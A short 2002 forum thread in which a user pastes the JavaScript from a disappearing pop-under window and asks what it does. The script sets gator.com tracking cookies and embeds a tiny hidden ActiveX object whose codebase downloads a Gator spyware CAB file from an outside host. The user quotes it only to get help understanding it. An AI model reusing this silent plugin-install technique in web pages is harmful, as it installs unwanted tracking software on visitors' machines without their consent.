Click to See Complete Forum and Search --> : gator script on my PC


rolli
12-30-2002, 04:06 AM
when I opend a certain website with my OPERA browser a small window appears and after some time it disappears.
I do not know much about javascript, but as the sourcecode of that window seems to set and overwrite cookies, dowload gator spayware and then closes after some time. Here is the sourcecode:





<script language="JavaScript">
var pdppi_loaded = false;

function sendPartnerEvent( ){
var event_src = "";
if( event_src ){
document.partnerEventPixel.src = event_src;
}
}

function changeEventPixelSrc( eventid, eventnum ){
var event_src = "/uniq3/Pg8iWAr6AhQAAG6nAu8" + eventnum + ".gif?yic=HIC_AdDynamixINT&eventid=" + eventid + "&reason=0&wuid=Pg8iWAr6AhQAAG6nAu8&ver=0";
switch( eventnum ){
case 2:
document.eventPixel2.src = event_src;
break;
default:
document.eventPixel1.src = event_src;
}
}

function openNew( ){
var pos_top = (screen.height/2)-(350/2);
var pos_left = (screen.width/2)-(600/2);
window.open( '','ncr','width=600,height=350,top=' + pos_top + ',left=' + pos_left );
}

function sleep_close( wait ){
var jsTimer = wait * 1000;
setTimeout("window.close();",jsTimer);
return true;
}

function checkPlugin( ){
var js_plugin_error = 0;
var strObjType = typeof( IEGator );
if( 'object' == strObjType ){
var strParamsType = typeof( IEGator.params );
if ( strParamsType != 'string' ){
js_plugin_error += 1;
}
} else {
if('undefined' == strObjType){
js_plugin_error += 2;
}
else if( 'unknown' == strObjType ){
js_plugin_error += 4;
} else {
js_plugin_error += 8;
}
}

setCookie( "GatorWebPdpCookie_OfferedApps", "datemanager:1|precisiontime:1", 30 );
setCookie( "GatorWebPdpCookie_WUID", "Pg8iWAr6AhQAAG6nAu8", 3650 );
setCookie( "GatorWebPdpCookie_PluginTimer", 1041181024, 3650 );
setCookie( "GatorWebPdpCookie_VisitedPartners", "hic_addynamixint:1", 30 );

if( js_plugin_error == 0 || pdppi_loaded ){
window.focus();
setCookie( "GatorWebPdpCookie_ApprovedApps", "datemanager|precisiontime", 3650 );
changeEventPixelSrc( 4011, 2 );
sendPartnerEvent( );
} else {
changeEventPixelSrc( 4012, 2 );

sleep_close( 30 );
}


}

function setCookie( name, value, days ){
var expiry = 1000 * 60 * 60 * 24 * days;
var expDate = new Date();
expDate.setTime(expDate.getTime() + expiry);
document.cookie = name + "=" + escape( value ) + "; expires=" + expDate.toGMTString() + "; path=/; domain=.gator.com";
}

function embedPlugin( ){
document.writeln( "<object" );
document.writeln( " id=\"IEGator\"" );
document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
document.writeln( " align=\"baseline\"" );
document.writeln( " border=\"0\"" );
document.writeln( " width=\"2\"" );
document.writeln( " height=\"2\">" );
document.writeln( " " );
document.writeln( " " );
document.writeln( "" );
}


<script language="JavaScript" for="IEGator" event="onPluginCreated()">
pdppi_loaded = true;
return 7;

Please Wait ...








<script language="JavaScript1.2">
changeEventPixelSrc( 4001, 1 );
embedPlugin();





=================================================

Has anybod enough experience with javascript to tell us exactly what this disapearing popunder does?

rolli

rolli
12-30-2002, 11:13 AM
Hi Dave,
I want to know what this script is doing in my PC. Is it setting and overwriting other cookies? Does it install unwanted software? What is the purpose of this software?

rolli

rolli
12-31-2002, 02:58 AM
Thank you